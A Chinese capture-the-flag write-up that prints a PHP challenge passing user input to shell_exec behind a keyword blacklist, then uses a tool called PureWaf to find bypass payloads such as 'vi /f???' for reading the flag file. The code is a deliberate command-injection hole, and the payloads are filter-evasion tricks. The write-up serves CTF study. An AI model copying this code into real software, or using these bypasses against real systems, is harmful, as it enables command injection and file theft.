从楚慧杯“拯救芙莉莲”看PureWaf
开头先引个流 How to Use PureWaf ?
虽然是一道可以用 PureWaf 的题目,不过作为签到题它还是没有过滤的那么死
如果有其他的题目可以适用或者无法解出的欢迎投稿
源码:
<?php
if (isset($_GET['spell'])) {
echo'<div class="error-box">';
echo'<h2>🔮 解开宝箱怪的封印</h2>';
echo'<pre>';
echo"芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."n";
echo"芙芙: "我记得封印的关键在根目录的某个文件里..."n";
echo"芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"n";
echo"芙芙: "也许你可以用 Linux 命令来读取那个文件?"n";
$spell = $_GET['spell'];
echo"你的咒语: " . htmlspecialchars($spell) . "\n";
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!n芙芙: "宝箱怪拒绝了这个咒语..."n</pre></div></body></html>");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}
echo"施法中...\n";
echo"━━━━━━━━━━━━━━━━━━━━\n";
$result = shell_exec($spell);
if ($result) {
echo"✨ 封印解除了!宝箱怪消失了!nn";
echo"【施法结果】:n";
echo$result;
echo"\n━━━━━━━━━━━━━━━━━━━━\n";
echo"芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
} else {
echo"❌ 咒语似乎没有效果...\n";
echo"芙芙: \"也许需要调整一下咒语的内容?\"\n";
}
echo'</pre>';
echo'</div>';
}
?>
可以提取出里面过滤的部分:
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!n芙芙: "宝箱怪拒绝了这个咒语..."n</pre></div></body></html>");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}
可以提取出来 Waf 就是:
from PureWaf import purewaf
w = purewaf(
waf_words="system|exec|passthru|shell_exec|popen|proc_open|flag|cat|tac|nl|more|less|head|tail|sort|uniq|strings|od|xxd|hexdump|grep|awk|sed|cut|rev|base64|env"
)
print(w)
#[+] Shortest Root Payload : ls /
#[+] Shortest Flag Payload : vi /f???
73

被折叠的 条评论
为什么被折叠?



